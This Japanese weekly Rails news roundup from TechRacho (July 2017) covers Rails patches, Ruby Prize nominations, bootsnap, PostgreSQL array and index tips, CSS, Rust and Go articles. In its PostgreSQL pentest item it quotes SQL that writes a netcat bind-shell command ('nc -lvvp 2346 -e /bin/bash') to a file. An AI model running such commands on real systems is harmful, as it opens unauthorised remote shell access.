Tech Racho エンジニアの「?」を「!」に。
  • 開発

週刊Railsウォッチ(20170728)bootsnapがRailsで正式採用、Ruby Prizeの推薦開始、PostgreSQL配列の重複を除去ほか

こんにちは、hachi8833です。南極の氷が増えているのか減っているのか、だんだんよくわからなくなってきました。

7月最後のRailsウォッチ、いってみましょう。

Rails 5.1.3rc2と5.0.5rc2がリリース(Rails公式ニュースより)


rubyonrails.orgより


つっつきボイス: 「バグフィックスが中心だろうし、正式版来たらアップグレードするかな」「先週rc1リリースから早くもrc2です」「そういえばRubyコミュニティには、rcいくつまでをどういうタイミングで出すみたいな目安ってあるんだろうか」

Ruby Prize 2017の推薦開始


www.ruby.or.jpより


つっつきボイス: 「Ruby Prize 2017は毎年Ruby World Conferenceの場で発表されていますね」「Ruby Prizeはソフトウェアや企業ではなく、個人を対象にした賞であるところが特徴」「(今さら要項を見て)ほんとだ」


「社内では毎年話してる気がするんだけど、こういう個人向けの賞が長年運用されているところがRuby界隈のコミュニティのいいところだなーと思ってます」「確かに他の言語ではこういうのあまり見ないかも」「contributeする個人に陽のあたる場所を提供する場というのは本当に大事」「何も見ずに言うけど、昨年の受賞者にたしかOpenSSL bindingをひたすらアップデートした学生さんがいたんじゃなかったかな: こういう地味な作業って普通はあまり表に出てこない」

「OpenSSLのアップデートってバグか何か?」「いやいや、元のAPIがガラッと変わってbindingがほぼ書き直しを迫られたということ」


賞が欲しくてcontributeする人はあまりいないと思いますが、そういう人たちに報いる場があることで張り合いが出るのはいいですね。

TechRachoを1年近くやってて痛感していますが、ポジティブフィードバックってめったに当事者には伝わりません。いいと思ってくれる人は何も発しないことがほとんどなので。

というわけで、皆さまもがんがんRuby Prizeに推薦を送ってあげてください

↑もうちょっと小さくしたいんだけどなこれ。

Rails: 今週の改修(Rails公式ニュースより)

新機能: bootsnap gemがRails標準に

以前のRailsウォッチでご紹介したy-yagiさんの予想どおりになりました。

# Gemfile
+# for railties app_generator_test
+gem "bootsnap", ">= 1.1.0", require: false

つっつきボイス: 「おー、Railsに組み込むのかと思ったらgemのまま取り込まれたのか」「bootsnapってどうしてもbootstrapに見えてしまってw」

改修: rails dbconsoleコマンドでの環境指定で-eが必須になった

+    Previously:
+        $ bin/rails dbconsole production
+    Now:
+        $ bin/rails dbconsole -e production

つっつきボイス: 「たしかにこういうのはオプション付きで指定するほうがいいかも」

修正: カスタムのテーブルエイリアス名でのwhereの挙動

kamipoさんの修正です。SELECT句でカスタムのテーブルエイリアス名を使えるように修正されました。

# activerecord/lib/active_record/relation/query_methods.rb
        if select_values.any?
           arel.project(*arel_columns(select_values.uniq))
         else
-          arel.project(@klass.arel_table[Arel.star])
+          arel.project(table[Arel.star])
         end
       end

つっつきボイス: 「(ドラフトを眺めて)custom table alias nameって、『カスタムテーブルのエイリアス名』じゃなくて『カスタムのテーブルエイリアス名』じゃないかな?」「おっと失礼しました: 英語って助詞がないからこういう区切りってわかってる人じゃないとパースしづらいですね」「まあそれは日本語もそうですけどね」


「情報処理安全確保支援士合格者御一行様歓迎列車到着遅延見込」や「東京大学理学部地質学鉱物学教室施設定例保守点検実施中止経過報告」みたいに漢字だらけだと、外国人でなくてもつらそうです。メソッドチェーンでこんなのやったらMR通らなさそう。

参考: Wikipedia-ja 般若心経

修正: エンコードエラーのメッセージに表示される無効なUTF-8文字をscrubするようにした

無効な文字のせいでCIがコケることがあったそうです。

# actionpack/lib/action_dispatch/request/utils.rb
          unless params.valid_encoding?
             # Raise Rack::Utils::InvalidParameterError for consistency with Rack.
             # ActionDispatch::Request#GET will re-raise as a BadRequest error.
-            raise Rack::Utils::InvalidParameterError, "Non UTF-8 value: #{params}"
+            raise Rack::Utils::InvalidParameterError, "Invalid encoding for parameter: #{params.scrub}"
           end
         end
       end

つっつきボイス: 「こういう修正は地味にありがたいかも」

self が不正なバイト列を含む場合に別の文字列に置き換えた新しい文字列を返します。
不正なバイト列を置き換える文字列を指定します。省略した場合は self の文字エンコーディングが Encoding::UTF_16BE, Encoding::UTF_16LE, Encoding::UTF_32BE, Encoding::UTF_32LE, Encoding::UTF_8 のいずれか の場合は "\uFFFD" を表す文字で、それ以外の場合は "?" で置き換えられます。ブロックが指定された場合は不正なバイト列はブロックの戻り値で置き換えられます。
Ruby リファレンスマニュアル: instance method String#scrubより

つっつきボイス: 「ところで、invalidは「不正な」と訳されることが多いんですが↑、私はvalid/invalidは『有効な』『無効な』って訳すようにしてます」「言われてみれば、技術用語のinvalidって『不正送金』みたいな違法なニュアンスは全然ないはずだから、『有効/無効』の方が的確だなー」「実は某社の翻訳スタイルガイドにそういう指示があったのでしたw」

改修: rails yarn:installによるリビルドをproductionだけに限定

開発中にyarn installするたびにネイティブパッケージがリビルドされて時間がかかっていたのが修正されました。

# railties/lib/rails/tasks/yarn.rake
namespace :yarn do
   desc "Install all JavaScript dependencies as specified via Yarn"
   task :install do
-    system("./bin/yarn install --no-progress")
+    system("./bin/yarn install --no-progress --production")
   end
 end

yarn install呼び出しのたびにネイティブパッケージがリビルドされます(yarnpkg/yarn#932)。私たちのところでカスタムフォントをビルドするためにdevDependenciesでnodeのネイティブパッケージを使ったところ、それまで2秒で済んだデプロイがリビルドのせいで30秒以上かかるようになってしまいました。Railsではassets:precompileの前にyarn:installが使われますが、このパッチをあてるとdev dependencyが無視されるようになります。bin/yarnを実行すれば従来どおりすべてがインストールされます。
とりあえず問題を回避したい場合: bin/yarnを以下のように更新してください。

# ...
  begin
    no_dev = %w[production staging].include?(ENV['RAILS_ENV'])
    exec "yarnpkg #{ARGV.join(' ')} #{'--prod' if no_dev}"

# 29851より

RailsアプリにSalesforce APIを統合する(RubyFlowより)


www.railscarma.comより

restforceというgemを使ってSalesforceのAPIを使えるようにする記事です。


つっつきボイス: 「ぱっとタイトルだけ見たとき、Salesforceが自社APIをRailsアプリ化したのかと思っちゃいました」「んなこたーないw」「まあ、よくある記事ではある」

ClojureのinterposeをRubyで実装したった(RubyFlowより)


bcobb.netより

ClojureのinterposeをRubyでも使いたくて実装したのだそうです。

# bcobb.netより

{one: 1, two: 2, three: 3}.interpose(:sep).to_a
# [[:one, 1], :sep, [:two, 2], :sep, [:three, 3]]

StringIO.new("line one\nline two\nline 3\n").interpose("|").to_a
# ["line one\n", "|", "line two\n", "|", "line 3\n"]

つっつきボイス: 「Clojureのこのinterposeって、配列要素の間に挿入するってことか」「Rubyならもっとスマートに書く方法がありそうな気がして仕方がない」「これが便利なものならActiveSupportあたりにありそうなものだけど、見当たらないということは...w」

interpose:
{他動-1} : 〜を間に入れる[置く]
{他動-2} : 〔他の人が話をしているときに言葉・質問・意義などを〕差し挟む


Clojureって、ついClosureと打ち間違えてしまいます(打ち間違えました)。

HerokuでDBサーバーの負荷を80%軽減した


schneems.comより

$ heroku pg:outliers
total_exec_time  | prop_exec_time |   ncalls    |   sync_io_time   |                                                                                       query
------------------+----------------+-------------+------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3790:50:52.62102 | 80.2%          | 100,727,265 | 727:08:40.969477 | SELECT  ? AS one FROM "repos" WHERE LOWER("repos"."name") = LOWER($1) AND ("repos"."id" != $2) AND "repos"."user_name" = $3 LIMIT $4
493:04:18.903353 | 10.4%          | 101,625,003 | 52:09:48.599802  | SELECT COUNT(*) FROM "issues" WHERE "issues"."repo_id" = $1 AND "issues"."state" = $2

つっつきボイス: 「うん、新しい話は何もないw」「そっかなーと思ったらやっぱりそうでしたか」「記事の問題じゃなくて、そもそもパフォーマンスチューニングってそういうものです: 地道な作業の積み重ねなので」

Autoprefixer CSS online: Autoprefixerの更新がつらい人向けのサービス

社内Slackからです。


autoprefixer.github.ioより


つっつきボイス: 「vendor prefixとかイヤやーw: Railsならcompass使えばいいんではないかと」「vendor prefixってホントその場しのぎの技術ですねw」


compass-style.orgより

Screencast: Codemy.netの「Rails APIシリーズ」(RubyFlowより)

Railscastsが開拓して以来(英語圏では)過熱が続くscreencast界にまた名乗りを上げてきたサイトです。思ったより動画がたくさんあります。APIサーバーに絞っているようですが、ひととおりカバーしている様子。
最初の動画が半年前の公開なのでかなり新しい方ではあります。


つっつきボイス: 「サムネイル画像が同じすぎてわかりにくいのー」「(ひとつ開いてみて)あー、transcript(文字起こし)が全然ないwこれはアカンなー: 動画の垂れ流しサイト観るのはよっぽど暇なときぐらいしか考えられないし」「5分の動画でも5分かけて見る気にはなれないですねー」「フィードバックしときます」

そういえば日本ではscreencastってさっぱり見かけませんね。別にいいんですが。

そこからCode Schoolのよさについての話題になりました。


つっつきボイス: 「Code Schoolの動画部分って見ます?」「見ないww: Code Schoolは動画より本編のできがずっといいので」「あのクォリティで本編作るのはそうそうできることじゃない、いやほんとに」


www.codeschool.comより

追記

たった今(日本時間で14時)Codemy.netに登録して「文字起こし、ほすいー」とチャットで伝えたところ、こんな時間なのに即レスがありました。

フィードバックありがとう! 実は今のサイトで文字起こしを置けないとかいろいろ制約があって困っていたので、サイト引越しの準備しているところ

というわけで今後に期待したいと思います。クレーム口調でない、改善につながるフィードバックを送ると、どこでも本当に喜んでもらえますね。

ベンチマーク結果をRubyでかっこよくグラフ化


codeship.comより

gruff gemを使っています。


codeship.comより


つっつきボイス: 「PythonにはCIのベンチマーク結果を継続的に掲載している公式のspeed.python.orgがあるんですが、Rubyにもそういう継続的なベンチサイトってありましたっけ?」「どうだったかなー、MRIやJRubyやmrubyといった実装ごとにベンチを比較するサイトならあったような気がするんだけど」

ざっとぐぐった限りではそれらしいものは見当たらず、そこからgraphという言葉についての話題になりました。


つっつきボイス: 「この記事でgraphという言葉を使っているのがすごく珍しいと思う」「あ、確かに: 技術英語サイトでは普通こういうのってchartって書きますよね」「graphっていうとグラフ理論の方を指す感じ」「そうそう、有向グラフとか」「もしかするとアメリカ英語とイギリス英語の違い?」

と思ってその場で各種辞書を繰ってみたのですが、意外にも辞書・シソーラスともに米英の違いがなく、「graphの類義語がchart」とのことでした。

つっつきボイス: 「chartとgraphってどう使い分けるんだろうw 謎」「謎」


日本語で言うとさしずめ「図」と「画像」ぐらいの違いなのかなと、何となく想像してしまいました。

Officetxt gem: 英語圏のフリーライター向けコマンドツール集(RubyFlowより)


github.com/officetxtより

これ自体は★は少ないですが、ツールの中でWordをMarkdownに変換するword-to-markdownというgem(★800個近く)が気になりました。日本語とおるでしょうか。

LibreOfficeが必要だそうです。

gem install word-to-markdown
file = WordToMarkdown.new("/path/to/document.docx")
=> <WordToMarkdown path="/path/to/document.docx">

file.to_s
=> "# Test\n\n This is a test"

file.document.tree
=> <Nokogiri Document>

つっつきボイス: 「単独のテキストツールじゃなくていろんなツール(gem)を一発でインストールするのか」「docxはxmlだからできそうダナ」


www.libreoffice.orgより

Deviseでユーザーを無効にする(RubyFlowより)


blog.kodius.ioより

短い記事です。

# https://blog.kodius.io/2017/07/26/how-to-deactivate-user-rails-with-devise/ より
class AddDeactivatedToUsers < ActiveRecord::Migration 
  def change
    add_column :users, :deactivated, :bool
  end
end

# user.rb
def destroy
  update_attributes(deactivated: true) unless deactivated
end

def active_for_authentication?
  super && !deactivated
end

つっつきボイス:lockableでやればよさそうだけど、どうしてもカスタマイズしないといけない事情があったのかな」「こうやってフラグ立てるのってあんまりよくなさそうですね」「必ずしもそうとは限らない: 認証システムをカスタマイズ一切なしで導入できる状況って現実にはほとんどないんですよ」「うーむ」

参考: Devise Wikiシリーズ総もくじ: アカウント削除後のUserデータを保存する(論理削除)

補足

Stack Overflowには「Deviseのactive_for_authenticationでできた」「認証(authentication)ではなく承認(authorization)でやるべき」などの情報もありました。

プレゼン「TC39、ECMAScript、JavaScriptの未来」

中国の深セン経済特区で今年6月に開催されたTFC: Tencent Frontend Conferenceのプレゼンです。


tfc.alloyteam.comより

frontendが中国語で前端って書かれてるところにほだされて、つい拾ってしまいました。ECMAScriptsの最新プロポーザルが多数紹介されています。

# tfc.alloyteam.comより
[1, 2].indexOf(2) !== -1 // true
[1, 2].indexOf(3) !== -1 // false
[1, 2].includes(2) // true
[1, 2].includes(3) // false

つっつきボイス: 「TC39って何だろ」「(ググって)あー、ECMAの分科会か」「マジェスティックトゥエルブみたいw」

dnsimple.com: ドメイン管理アプリ


dnsimple.comより

require "dnsimple"
client = Dnsimple::Client.new(access_token: "abc123")

# Define an account id
account_id = 1010

# List your domains
puts client.domains.list_domains(account_id).data

# Create a domain
response = client.domains.create_domain(account_id, name: "example.com")

# Get a domain
response = client.domains.domain(account_id, "example.com")
puts response.data

同社のブログによるとHanamiで構築されているそうです。


つっつきボイス: 「こういうサービスってインフラエンジニア的にはどうでしょう?」「いろいろ機能はあるみたいだけど、AWSのRoute53使えばええやんw」

PostgreSQL

PostgreSQLのペネトレーションテストガイド

# medium.com/@cryptocracker99 より
postgres=# CREATE TABLE pentestlab (t TEXT);
postgres=# INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
postgres=# SELECT * FROM pentestlab;
postgres=# COPY pentestlab(t) TO '/tmp/pentestlab';


medium.com/@cryptocracker99より


つっつきボイス: 「ペネトレーションテストっていわゆる侵入テストですよね」「侵入テスト以外に、どこまでやったらサーバーが死ぬかを試すという意味のペネトレーションテストもあります」「これはどっちかな: nc打ってるし、まさに侵入かけようとしてる」

PostgreSQLの配列から重複を取り除く

-- https://medium.com/the-falconry より
SELECT
  song_id,
  UNNEST(STRING_TO_ARRAY(STRING_AGG(v.genre_list, ', '), ', ')) AS genre
FROM versions v
GROUP BY song_id
  1. 分野ごとに集約
  2. UNNESTで配列のネストを解除(↑上のコード)
  3. DISTINCTが使えるようになる
  4. 仕上げ

つっつきボイス: 「Rubyなら#flattenして#uniqするところをPostgreSQLでやってるのかー」

PostgreSQLのインデックス肥大化を探る

短い記事ですがよさげです。

# pgeoghegan.blogspot.jpより
 level | l_item | blkno | btpo_flags | type | live_items | dead_items | avg_item_size | page_size | free_size | distinct_real_item_keys | highkey | distinct_block_pointers 
-------+--------+-------+------------+------+------------+------------+---------------+-----------+-----------+-------------------------+---------+-------------------------
     2 |      1 |   290 |          2 | r    |         10 |          0 |            15 |      8192 |      7956 |                      10 |         |                      10
     1 |      1 |     3 |          0 | i    |        285 |          0 |            15 |      8192 |      2456 |                     284 |  103945 |                     284
     1 |      2 |   289 |          0 | i    |        285 |          0 |            15 |      8192 |      2456 |                     284 |  207889 |                     284
     1 |      3 |   575 |          0 | i    |        285 |          0 |            15 |      8192 |      2456 |                     284 |  311833 |                     284
     1 |      4 |   860 |          0 | i    |        285 |          0 |            15 |      8192 |      2456 |                     284 |  415777 |                     284
     1 |      5 |  1145 |          0 | i    |        285 |          0 |            15 |      8192 |      2456 |                     284 |  519721 |                     284
     1 |      6 |  1430 |          0 | i    |        285 |          0 |            15 |      8192 |      2456 |                     284 |  623665 |                     284
     1 |      7 |  1715 |          0 | i    |        285 |          0 |            15 |      8192 |      2456 |                     284 |  727609 |                     284
     1 |      8 |  2000 |          0 | i    |        285 |          0 |            15 |      8192 |      2456 |                     284 |  831553 |                     284
     1 |      9 |  2285 |          0 | i    |        285 |          0 |            15 |      8192 |      2456 |                     284 |  935497 |                     284
     1 |     10 |  2570 |          0 | i    |        177 |          0 |            15 |      8192 |      4616 |                     177 |         |                     177
     0 |      1 |     1 |          1 | l    |        367 |          0 |            16 |      8192 |       808 |                     366 |     367 |                       6
     0 |      2 |     2 |          1 | l    |        367 |          0 |            16 |      8192 |       808 |                     366 |     733 |                       6
     0 |      3 |     4 |          1 | l    |        367 |          0 |            16 |      8192 |       808 |                     366 |    1099 |                       6
...
     0 |   2730 |  2741 |          1 | l    |        367 |          0 |            16 |      8192 |       808 |                     366 |  999181 |                       6
     0 |   2731 |  2742 |          1 | l    |        367 |          0 |            16 |      8192 |       808 |                     366 |  999547 |                       6
     0 |   2732 |  2743 |          1 | l    |        367 |          0 |            16 |      8192 |       808 |                     366 |  999913 |                       6
     0 |   2733 |  2744 |          1 | l    |         88 |          0 |            16 |      8192 |      6388 |                      88 |         |                       2
(2744 rows)

つっつきボイス: 「MySQLでは辛みも含めていろいろ経験積めたんで、そろそろPostgreSQLのインデックス周りの深いところもやってみるか」

CSS記事

margin corruption問題の対処方法


bitsofco.deより

良記事です。クイズも付いています。

「margin corruption」は日本語に定訳がない感じで、「marginが親要素に効いてしまう」「画像の下に謎の余白ができる」など完全にバラついているようです。

参考

CSS Variablesはこう扱え

madebymike.com.auより

CSS Variablesはカスタムプロパティとも呼ばれる、CSSのかなり新しい仕様です。

/* madebymike.com.au より*/

/* これは変数宣言 */
.thing {
  --my-var: red;
}
/* これはプロパティ宣言 */
.thing {
  background: var(--my-var);
}

つっつきボイス: 「(CanIUseを開きながら)IE対応なし、と↓」

http://caniuse.com/css-variables/embedより

オピニオン: Rustは「自動運転のC++」だ


www.rust-lang.orgより

短いのですぐ読み終わると思います。

実地のRustコードが見たかったので、この間のRailsウォッチで取り上げたdanielpclark/faster_pathから引用しようかなと思っていたところ「んー、このコードだとあんまりRustっぽくないっすねー」というツッコミがBPSアプリチームの方から聞こえてきたので、おすすめいただいたRustコードに差し替えました。

# https://github.com/BurntSushi/ripgrep/blob/master/src/worker.rs より
...
impl Worker {
    /// Execute the worker with the given printer and work item.
    ///
    /// A work item can either be stdin or a file path.
    pub fn run<W: WriteColor>(
        &mut self,
        printer: &mut Printer<W>,
        work: Work,
    ) -> u64 {
        let result = match work {
            Work::Stdin => {
                let stdin = io::stdin();
                let stdin = stdin.lock();
                self.search(printer, Path::new("<stdin>"), stdin)
            }
            Work::DirEntry(dent) => {
                let mut path = dent.path();
                let file = match File::open(path) {
                    Ok(file) => file,
                    Err(err) => {
                        if !self.opts.no_messages {
                            eprintln!("{}: {}", path.display(), err);
                        }
                        return 0;
                    }
                };
                if let Some(p) = strip_prefix("./", path) {
                    path = p;
                }
                if self.opts.mmap {
                    self.search_mmap(printer, path, &file)
                } else {
                    self.search(printer, path, file)
                }
            }
        };
        match result {
            Ok(count) => {
                count
            }
            Err(err) => {
                if !self.opts.no_messages {
                    eprintln!("{}", err);
                }
                0
            }
        }
    }
...

つっつきボイス: 「BurntSushiってなんちゅう名前w」「黒焦げw」「C++の有力な代替候補が不在の時期が長かったけど、Rustの隆盛で勢いづいてきたかな」


自動運転機能がなかった時代は人間が運転する以外の選択肢はありえませんでしたが、自動運転が普及して二世代も過ぎれば「えー!昔は人間が自動車を運転してたの!?それって危なくね?」となること請け合いですね。

参考: Wikipedia-ja: お猿の電車

書籍: XUnit Test Patterns


xunitpatterns.comより

morimorihogeさんが以下の図を見つけてくれたときのサイトを辿って見つけました。「XUnit Test Patterns」の第二版で使われる予定の図だったようですが、第二版はまだ刊行されていないようです。


xunitpatterns.comより

Go言語ではパッケージレベルの変数や関数内部での初期化を使わないこと

短いですが良記事です。関数に内部状態を埋め込むべきでない、と言われて反省しました。

// http://peter.bourgon.org/blog/2017/06/09/theory-of-modern-go.htmlより
func NewObject(n int) (*Object, error) {
    row := dbconn.QueryRow("SELECT ... FROM ... WHERE ...")
    var id string
    if err := row.Scan(&id); err != nil {
        logger.Log("during row scan: %v", err)
        id = "default"
    }
    resource, err := pool.Request(n)
    if err != nil {
        return nil, err
    }
    return &Object{
        id:  id,
        res: resource,
    }, nil
}

つっつきボイス: 「文法がっちり固まってるはずのGo言語にもmodernとかあるのかww」「本家のコードでは、関数が返すエラーをokっていう変数で受ける慣習があるんですが、あれだけはイヤですw」

ITエンジニアが健康を保つための5つのコツ: Rubyroid Labsの場合



blog.rubyroidlabs.comより

Rubyroid Labsの方から直々にお知らせいただいた記事です。

  • パソコンのモニタを見すぎない工夫をする
  • フィジカルトレーニングを続ける
  • タバコを控える
  • ストレスをためない工夫をする
  • 部屋にホコリをためない

つっつきボイス: 「面白すww」「病気の名前とか筋肉の部位みたいな名前の英語って実はほとんどわからなくってw: 腹筋って英語で何て言うんだっけというレベル」

AI同士が攻撃と防御に分かれて対決するコンテスト: セキュリティ研究の一環


www.technologyreview.comより

つっつき後に見つけたMITテクノロジーレビューの記事です。kaggle.comによると、「対象を特定しない敵対的攻撃」「対象を特定する敵対的攻撃」「敵対的攻撃からの防御」部門で募集したAIたちが対決するコンテストを今年12月のNIPS 2017期間中に開催するそうです。

「対象を特定しない攻撃」というと軍事用語のゲリラ戦(遊撃戦)を連想してしまいました。

皆さまもどうかAIから敵認定されませんように。

ツイートより

番外

Microsoftのニューラル翻訳サイト



translator.microsoft.com/neuralより

右と左で違う訳が出てくるのですが、もしかすると一方がニューラル翻訳でもう一方が旧来の機械翻訳ではなかろうかと根拠もなく思ったりしました。それだけです。

Windowsのmspaint.exeが終了


www.bbc.comより

仮面ライダーシリーズ、次は「ビルド」


今週は以上です。

バックナンバー(2017年度)

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Ruby 公式ニュース

Rails公式ニュース

RubyFlow

160928_1638_XvIP4h


CONTACT

TechRachoでは、パートナーシップをご検討いただける方からの
ご連絡をお待ちしております。ぜひお気軽にご意見・ご相談ください。